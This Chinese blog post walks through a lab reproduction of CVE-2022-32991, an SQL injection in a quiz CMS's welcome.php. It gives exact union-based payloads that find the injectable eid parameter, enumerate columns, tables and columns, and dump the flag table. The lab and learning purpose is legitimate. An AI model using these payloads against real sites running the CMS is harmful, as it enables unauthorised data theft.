春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)

文章目录

  • 前言
  • 一、CVE-2022-32991靶场简述
  • 二、找注入点
  • 三、CVE-2022-32991漏洞复现
    • 1、判断注入点
    • 2、爆显位个数
    • 3、爆显位位置
    • 4 、爆数据库名
    • 5、爆数据库表名
    • 6、爆数据库列名
    • 7、爆数据库数据
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、CVE-2022-32991靶场简述

该CMS的welcome.php中存在SQL注入攻击。
靶场地址在春秋云境官网https://yunjing.ichunqiu.com/
春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第1张图片

二、找注入点

因为已经知道在此cms中的welcome.php中eid参数可以进行sql注入,那么我们的思路就是先找到注入地方。
1、首先进来是一个登录页面(如图所示)
春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第2张图片
这里是login.php的界面,显然不是我们要注入的地方。我们选择创建一个用户登录进去再去找注入点。而且这里登录框试了试sql注入,发现也是不行的。
2、登录进去发现了网址是welcome.php了,那么离flag更进一步了。(如图所示)
春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第3张图片
发现此时url的参数是q,显然不是eid,我们还得继续深入。感兴趣的小伙伴看到这里有参数也可以试一试有没有sql注入,但是肯定是没有的哈哈哈。
3、我们看到start的按钮,只能去点它了,看看是不是我们注入的地方,点进去发现(如图所示)
春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第4张图片
成功找到eid参数,那么我们就开始我们的sql手工注入吧。(我试了试n参数好像也是可以注入的)

三、CVE-2022-32991漏洞复现

  • 1、判断注入点
  • 2、爆显位个数
  • 3、爆显位位置
  • 4、爆数据库名
  • 5、爆数据库表名
  • 6、爆数据库列名
  • 7、爆数据库数据

1、判断注入点

(如图所示)这里我们老规矩抛出and 1=1 和 and 1=2测试。发现页面依旧正常,排除数字型。直接提交1’发现报错,报错信息为

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result,
boolean given in /var/www/html/welcome.php on line 98

春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第5张图片

很大可能是单引号闭合了,因为我们多了个单引号,变成eid=‘60377db362694’'。后面多出来的单引号导致报错了。我们把它闭合看看是否变成正常界面。注入语句为

60377db362694'--+

发现是页面正常了。
春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第6张图片
那么这是一个单引号闭合的get提交的sql注入。

2、爆显位个数

注入语句为

eid=60377db362694' order by 6--+

发现6的时候报错,5正常。说明有5个显位。
春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第7张图片
春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第8张图片

3、爆显位位置

注入语句为

eid=60377db362694' union select 1,2,3,4,5--+

春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第9张图片
发现显位3

4 、爆数据库名

注入语句为

eid=60377db362694' union select 1,2,database(),4,5--+

得到数据库名为ctf
春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第10张图片

5、爆数据库表名

注入语句为

eid=60377db362694' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+

春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第11张图片
得到所有表名user,options,quiz,admin,questions,history,rank,flag,answer
其中关键表名为flag

6、爆数据库列名

注入语句为

eid=60377db362694' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name="flag"--+

得到列名为flag
春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第12张图片

7、爆数据库数据

注入语句为

eid=60377db362694' union select 1,2,group_concat(flag),4,5 from flag --+

春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)_第13张图片
成功得到flag

总结

因为我们已经知道注入点的位置是在哪个目录下的哪个参数。如果我们不知道的话,就得找有可控参数的地方,并且参数有与数据库交互,而且没有严格过滤。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

你可能感兴趣的:(sql,web安全)